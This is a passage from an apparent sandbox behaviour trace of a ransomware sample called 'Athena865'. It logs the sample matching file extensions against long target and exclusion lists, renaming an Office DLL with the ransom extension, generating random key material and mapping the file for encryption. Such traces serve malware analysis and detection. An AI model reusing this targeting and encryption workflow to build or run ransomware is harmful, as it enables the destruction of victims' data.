(lpString="eco") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0083.073] lstrlenW (lpString="ecx") returned 3 [0083.073] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0083.074] lstrlenW (lpString="edb") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0083.074] lstrlenW (lpString="epim") returned 4 [0083.074] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0083.074] lstrlenW (lpString="fcd") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0083.074] lstrlenW (lpString="fdb") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0083.074] lstrlenW (lpString="fic") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0083.074] lstrlenW (lpString="flexolibrary") returned 12 [0083.074] lstrlenW (lpString="fm5") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0083.074] lstrlenW (lpString="fmp") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0083.074] lstrlenW (lpString="fmp12") returned 5 [0083.074] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0083.074] lstrlenW (lpString="fmpsl") returned 5 [0083.074] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0083.074] lstrlenW (lpString="fol") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0083.074] lstrlenW (lpString="fp3") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0083.074] lstrlenW (lpString="fp4") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0083.074] lstrlenW (lpString="fp5") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0083.074] lstrlenW (lpString="fp7") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0083.074] lstrlenW (lpString="fpt") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0083.074] lstrlenW (lpString="frm") returned 3 [0083.074] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0083.075] lstrlenW (lpString="gdb") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.075] lstrlenW (lpString="gdb") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0083.075] lstrlenW (lpString="grdb") returned 4 [0083.075] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0083.075] lstrlenW (lpString="gwi") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0083.075] lstrlenW (lpString="hdb") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0083.075] lstrlenW (lpString="his") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0083.075] lstrlenW (lpString="ib") returned 2 [0083.075] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0083.075] lstrlenW (lpString="idb") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0083.075] lstrlenW (lpString="ihx") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0083.075] lstrlenW (lpString="itdb") returned 4 [0083.075] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0083.075] lstrlenW (lpString="itw") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0083.075] lstrlenW (lpString="jet") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0083.075] lstrlenW (lpString="jtx") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0083.075] lstrlenW (lpString="kdb") returned 3 [0083.075] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0083.075] lstrlenW (lpString="kexi") returned 4 [0083.075] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0083.075] lstrlenW (lpString="kexic") returned 5 [0083.075] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0083.076] lstrlenW (lpString="kexis") returned 5 [0083.076] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0083.076] lstrlenW (lpString="lgc") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0083.076] lstrlenW (lpString="lwx") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0083.076] lstrlenW (lpString="maf") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0083.076] lstrlenW (lpString="maq") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0083.076] lstrlenW (lpString="mar") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0083.076] lstrlenW (lpString="marshal") returned 7 [0083.076] lstrcmpiW (lpString1="RPC.DLL", lpString2="marshal") returned 1 [0083.076] lstrlenW (lpString="mas") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0083.076] lstrlenW (lpString="mav") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0083.076] lstrlenW (lpString="maw") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0083.076] lstrlenW (lpString="mdbhtml") returned 7 [0083.076] lstrcmpiW (lpString1="RPC.DLL", lpString2="mdbhtml") returned 1 [0083.076] lstrlenW (lpString="mdn") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0083.076] lstrlenW (lpString="mdt") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0083.076] lstrlenW (lpString="mfd") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0083.076] lstrlenW (lpString="mpd") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0083.076] lstrlenW (lpString="mrg") returned 3 [0083.076] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0083.076] lstrlenW (lpString="mud") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0083.077] lstrlenW (lpString="mwb") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0083.077] lstrlenW (lpString="myd") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0083.077] lstrlenW (lpString="ndf") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0083.077] lstrlenW (lpString="nnt") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0083.077] lstrlenW (lpString="nrmlib") returned 6 [0083.077] lstrcmpiW (lpString1="PC.DLL", lpString2="nrmlib") returned 1 [0083.077] lstrlenW (lpString="ns2") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0083.077] lstrlenW (lpString="ns3") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0083.077] lstrlenW (lpString="ns4") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0083.077] lstrlenW (lpString="nsf") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0083.077] lstrlenW (lpString="nv") returned 2 [0083.077] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0083.077] lstrlenW (lpString="nv2") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0083.077] lstrlenW (lpString="nwdb") returned 4 [0083.077] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0083.077] lstrlenW (lpString="nyf") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0083.077] lstrlenW (lpString="odb") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.077] lstrlenW (lpString="odb") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0083.077] lstrlenW (lpString="oqy") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0083.077] lstrlenW (lpString="ora") returned 3 [0083.077] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0083.077] lstrlenW (lpString="orx") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0083.078] lstrlenW (lpString="owc") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0083.078] lstrlenW (lpString="p96") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0083.078] lstrlenW (lpString="p97") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0083.078] lstrlenW (lpString="pan") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0083.078] lstrlenW (lpString="pdb") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0083.078] lstrlenW (lpString="pdm") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0083.078] lstrlenW (lpString="pnz") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0083.078] lstrlenW (lpString="qry") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0083.078] lstrlenW (lpString="qvd") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0083.078] lstrlenW (lpString="rbf") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0083.078] lstrlenW (lpString="rctd") returned 4 [0083.078] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0083.078] lstrlenW (lpString="rod") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0083.078] lstrlenW (lpString="rodx") returned 4 [0083.078] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0083.078] lstrlenW (lpString="rpd") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0083.078] lstrlenW (lpString="rsd") returned 3 [0083.078] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0083.078] lstrlenW (lpString="sas7bdat") returned 8 [0083.078] lstrcmpiW (lpString1="LRPC.DLL", lpString2="sas7bdat") returned -1 [0083.078] lstrlenW (lpString="sbf") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0083.079] lstrlenW (lpString="scx") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0083.079] lstrlenW (lpString="sdb") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0083.079] lstrlenW (lpString="sdc") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0083.079] lstrlenW (lpString="sdf") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0083.079] lstrlenW (lpString="sis") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0083.079] lstrlenW (lpString="spq") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0083.079] lstrlenW (lpString="te") returned 2 [0083.079] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0083.079] lstrlenW (lpString="teacher") returned 7 [0083.079] lstrcmpiW (lpString1="RPC.DLL", lpString2="teacher") returned -1 [0083.079] lstrlenW (lpString="tmd") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0083.079] lstrlenW (lpString="tps") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0083.079] lstrlenW (lpString="trc") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.079] lstrlenW (lpString="trc") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0083.079] lstrlenW (lpString="trm") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0083.079] lstrlenW (lpString="udb") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0083.079] lstrlenW (lpString="udl") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0083.079] lstrlenW (lpString="usr") returned 3 [0083.079] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0083.079] lstrlenW (lpString="v12") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0083.080] lstrlenW (lpString="vis") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0083.080] lstrlenW (lpString="vpd") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0083.080] lstrlenW (lpString="vvv") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0083.080] lstrlenW (lpString="wdb") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0083.080] lstrlenW (lpString="wmdb") returned 4 [0083.080] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0083.080] lstrlenW (lpString="wrk") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0083.080] lstrlenW (lpString="xdb") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0083.080] lstrlenW (lpString="xld") returned 3 [0083.080] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0083.080] lstrlenW (lpString="xmlff") returned 5 [0083.080] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0083.080] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL.Athena865") returned 64 [0083.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlrpc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlrpc.dll.athena865"), dwFlags=0x1) returned 1 [0083.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLRPC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlrpc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0083.081] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=58712) returned 1 [0083.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0083.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0083.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0083.082] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0083.082] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0083.082] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.082] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe860, lpName=0x0) returned 0x17c [0083.085] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe860) returned 0x100000 [0083.122] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0083.123] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0083.123] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0083.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0083.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0083.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0083.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0083.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0083.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0083.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0083.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0083.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0083.124] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0083.124] CloseHandle (hObject=0x17c) returned 1 [0083.124] CloseHandle (hObject=0x154) returned 1 [0083.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0083.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0083.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0083.125] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6ccf2b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x11770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLVBS.DLL", cAlternateFileName="")) returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2=".") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="..") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="windows") returned -1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="bootmgr") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="temp") returned -1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="pagefile.sys") returned -1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="boot") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="ids.txt") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="ntuser.dat") returned 1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="perflogs") returned -1 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2="MSBuild") returned 1 [0083.125] lstrlenW (lpString="OUTLVBS.DLL") returned 11 [0083.125] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLVBS.DLL" | out: lpString1="OUTLVBS.DLL") returned="OUTLVBS.DLL" [0083.125] lstrlenW (lpString="OUTLVBS.DLL") returned 11 [0083.125] lstrlenW (lpString="Athena865") returned 9 [0083.125] lstrcmpiW (lpString1="TLVBS.DLL", lpString2="Athena865") returned 1 [0083.125] lstrlenW (lpString=".dll") returned 4 [0083.125] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2=".dll") returned 1 [0083.126] lstrlenW (lpString=".lnk") returned 4 [0083.126] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2=".lnk") returned 1 [0083.126] lstrlenW (lpString=".ini") returned 4 [0083.126] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2=".ini") returned 1 [0083.126] lstrlenW (lpString=".sys") returned 4 [0083.126] lstrcmpiW (lpString1="OUTLVBS.DLL", lpString2=".sys") returned 1 [0083.126] lstrlenW (lpString="OUTLVBS.DLL") returned 11 [0083.126] lstrlenW (lpString="bak") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0083.126] lstrlenW (lpString="ba_") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0083.126] lstrlenW (lpString="dbb") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0083.126] lstrlenW (lpString="vmdk") returned 4 [0083.126] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0083.126] lstrlenW (lpString="rar") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0083.126] lstrlenW (lpString="zip") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0083.126] lstrlenW (lpString="tgz") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0083.126] lstrlenW (lpString="vbox") returned 4 [0083.126] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0083.126] lstrlenW (lpString="vdi") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0083.126] lstrlenW (lpString="vhd") returned 3 [0083.126] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0083.126] lstrlenW (lpString="vhdx") returned 4 [0083.126] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0083.126] lstrlenW (lpString="avhd") returned 4 [0083.126] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0083.126] lstrlenW (lpString="db") returned 2 [0083.127] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0083.127] lstrlenW (lpString="db2") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0083.127] lstrlenW (lpString="db3") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0083.127] lstrlenW (lpString="dbf") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0083.127] lstrlenW (lpString="mdf") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0083.127] lstrlenW (lpString="mdb") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0083.127] lstrlenW (lpString="sql") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0083.127] lstrlenW (lpString="sqlite") returned 6 [0083.127] lstrcmpiW (lpString1="BS.DLL", lpString2="sqlite") returned -1 [0083.127] lstrlenW (lpString="sqlite3") returned 7 [0083.127] lstrcmpiW (lpString1="VBS.DLL", lpString2="sqlite3") returned 1 [0083.127] lstrlenW (lpString="sqlitedb") returned 8 [0083.127] lstrcmpiW (lpString1="LVBS.DLL", lpString2="sqlitedb") returned -1 [0083.127] lstrlenW (lpString="xml") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0083.127] lstrlenW (lpString="$er") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0083.127] lstrlenW (lpString="4dd") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0083.127] lstrlenW (lpString="4dl") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0083.127] lstrlenW (lpString="^^^") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0083.127] lstrlenW (lpString="abs") returned 3 [0083.127] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0083.128] lstrlenW (lpString="abx") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0083.128] lstrlenW (lpString="accdb") returned 5 [0083.128] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0083.128] lstrlenW (lpString="accdc") returned 5 [0083.128] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0083.128] lstrlenW (lpString="accde") returned 5 [0083.128] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0083.128] lstrlenW (lpString="accdr") returned 5 [0083.128] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0083.128] lstrlenW (lpString="accdt") returned 5 [0083.128] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0083.128] lstrlenW (lpString="accdw") returned 5 [0083.128] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0083.128] lstrlenW (lpString="accft") returned 5 [0083.128] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0083.128] lstrlenW (lpString="adb") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.128] lstrlenW (lpString="adb") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0083.128] lstrlenW (lpString="ade") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0083.128] lstrlenW (lpString="adf") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0083.128] lstrlenW (lpString="adn") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0083.128] lstrlenW (lpString="adp") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0083.128] lstrlenW (lpString="alf") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0083.128] lstrlenW (lpString="ask") returned 3 [0083.128] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0083.129] lstrlenW (lpString="btr") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0083.129] lstrlenW (lpString="cat") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0083.129] lstrlenW (lpString="cdb") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0083.129] lstrlenW (lpString="ckp") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0083.129] lstrlenW (lpString="cma") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0083.129] lstrlenW (lpString="cpd") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0083.129] lstrlenW (lpString="dacpac") returned 6 [0083.129] lstrcmpiW (lpString1="BS.DLL", lpString2="dacpac") returned -1 [0083.129] lstrlenW (lpString="dad") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0083.129] lstrlenW (lpString="dadiagrams") returned 10 [0083.129] lstrcmpiW (lpString1="UTLVBS.DLL", lpString2="dadiagrams") returned 1 [0083.129] lstrlenW (lpString="daschema") returned 8 [0083.129] lstrcmpiW (lpString1="LVBS.DLL", lpString2="daschema") returned 1 [0083.129] lstrlenW (lpString="db-journal") returned 10 [0083.129] lstrcmpiW (lpString1="UTLVBS.DLL", lpString2="db-journal") returned 1 [0083.129] lstrlenW (lpString="db-shm") returned 6 [0083.129] lstrcmpiW (lpString1="BS.DLL", lpString2="db-shm") returned -1 [0083.129] lstrlenW (lpString="db-wal") returned 6 [0083.129] lstrcmpiW (lpString1="BS.DLL", lpString2="db-wal") returned -1 [0083.129] lstrlenW (lpString="dbc") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0083.129] lstrlenW (lpString="dbs") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0083.129] lstrlenW (lpString="dbt") returned 3 [0083.129] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0083.130] lstrlenW (lpString="dbv") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0083.130] lstrlenW (lpString="dbx") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0083.130] lstrlenW (lpString="dcb") returned 3 [0083.130] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0083.130] lstrlenW (lpString="dct") returned 3 [0083.130] 